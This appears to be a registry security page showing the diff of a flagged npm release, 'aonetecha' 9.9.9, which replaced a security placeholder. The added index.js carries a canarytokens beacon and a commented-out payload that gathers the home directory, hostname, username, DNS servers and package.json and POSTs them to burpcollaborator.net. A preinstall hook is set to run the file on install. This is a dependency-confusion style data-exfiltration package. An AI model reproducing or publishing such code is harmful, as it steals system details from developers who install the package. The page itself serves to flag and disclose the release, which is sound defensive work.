aonetecha 0.0.1-security → 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of aonetecha might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +53 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ // it's just notify me its trigger
2
+ <script src="http://canarytokens.com/articles/tags/static/44nej9kj4vzjxztb9l00xdoou/submit.aspx"></script>
3
+
4
+
5
+ //// Its actually malicious payload send me system information
6
+
7
+ // const os = require("os");
8
+ // const dns = require("dns");
9
+ // const querystring = require("querystring");
10
+ // const https = require("https");
11
+ // const packageJSON = require("./package.json");
12
+ // const package = packageJSON.name;
13
+
14
+ // const trackingData = JSON.stringify({
15
+ // p: package,
16
+ // c: __dirname,
17
+ // hd: os.homedir(),
18
+ // hn: os.hostname(),
19
+ // un: os.userInfo().username,
20
+ // dns: dns.getServers(),
21
+ // r: packageJSON ? packageJSON.___resolved : undefined,
22
+ // v: packageJSON.version,
23
+ // pjson: packageJSON,
24
+ // });
25
+
26
+ // var postData = querystring.stringify({
27
+ // msg: trackingData,
28
+ // });
29
+
30
+ // var options = {
31
+ // hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or
32
+ // pipedream
33
+ // port: 443,
34
+ // path: "/",
35
+ // method: "POST",
36
+ // headers: {
37
+ // "Content-Type": "application/x-www-form-urlencoded",
38
+ // "Content-Length": postData.length,
39
+ // },
40
+ // };
41
+
42
+ // var req = https.request(options, (res) => {
43
+ // res.on("data", (d) => {
44
+ // process.stdout.write(d);
45
+ // });
46
+ // });
47
+
48
+ // req.on("error", (e) => {
49
+ // // console.error(e);
50
+ // });
51
+
52
+ // req.write(postData);
53
+ // req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "aonetecha",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "testing pusposus",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=aonetecha for more information.